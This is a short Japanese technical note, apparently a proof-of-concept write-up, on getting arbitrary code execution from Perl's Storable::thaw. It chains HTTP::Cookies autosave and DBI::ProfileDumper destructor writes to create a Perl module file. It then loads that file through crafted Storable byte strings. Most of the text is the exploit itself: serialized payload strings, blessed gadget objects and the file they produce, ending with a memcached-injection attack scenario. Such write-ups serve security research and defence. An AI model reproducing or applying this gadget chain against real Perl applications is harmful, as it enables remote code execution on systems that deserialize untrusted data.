- HTTP::Cookies と DBI::ProfileDumperを使う
- HTTP::Cookies は LWPの依存モジュールで、DBI::ProfileDumperはDBIに付属している。どちらもインストールされている可能性が非常に高い
HTTP::Cookies の autosave 機能で任意ファイルにcookiejarが保存される。 DBI::ProfileDumper もDESTROY時のflushでファイルに書きこむ。存在しているファイルへの追記であれば比較的自由なフォーマットでファイルに書き込み可能。
Storable::nfreeze {a => bless {}, ModuleName} を作ってモジュール名の前の 4 を 24 に変更する。
- http://cpansearch.perl.org/src/AMS/Storable-2.51/Storable.xs
- 4 => SX_REF, 0x24 => SX_OVERLOAD
HTTP::CookiesとDBI::ProfileDumperのロードはそれぞれ
Storable::thaw "\5\b\3\0\0\0\1\24\21\rHTTP::Cookies\3\0\0\0\0\0\0\0\1a"
Storable::thaw "\5\b\3\0\0\0\1\24\21\22DBI::ProfileDumper\3\0\0\0\0\0\0\0\1a"
エラーが出るがモジュールのロードには成功する。
以下のようなオブジェクトがDESTROYされると
bless({ autosave => 1, COOKIES => {}, file => "TmpTmp.pm" }, "HTTP::Cookies")
bless({ _wrote_header => "TmpTmp.pm", File => "TmpTmp.pm", LockFile => 1, Data => { ";\$xxx" => ["11111; package TmpTmp; print 12345; 1; #aaa"] }, "DBI::ProfileDumper")
TmpTmp.pm に Perlとして有効なsyntaxのファイルが作成される
#LWP-Cookies-1.0
+ 1 ;$xxx
= 11111; package TmpTmp; print 12345; 1; #aaa
Storable::thaw "\5\b\3\0\0\0\1\24\21\6TmpTmp\3\0\0\0\0\0\0\0\1a"
Storable::thaw に任意のデータを渡せる脆弱性は、全て任意コードの実行が可能だと考える必要がある。
例えば、
- memcachedインジェクションで任意キーに任意データを書き込み可能なケース → アプリで使われるキー名が既知であれば、デシリアライズの際にStorable::thawが呼ばれるので任意コード実行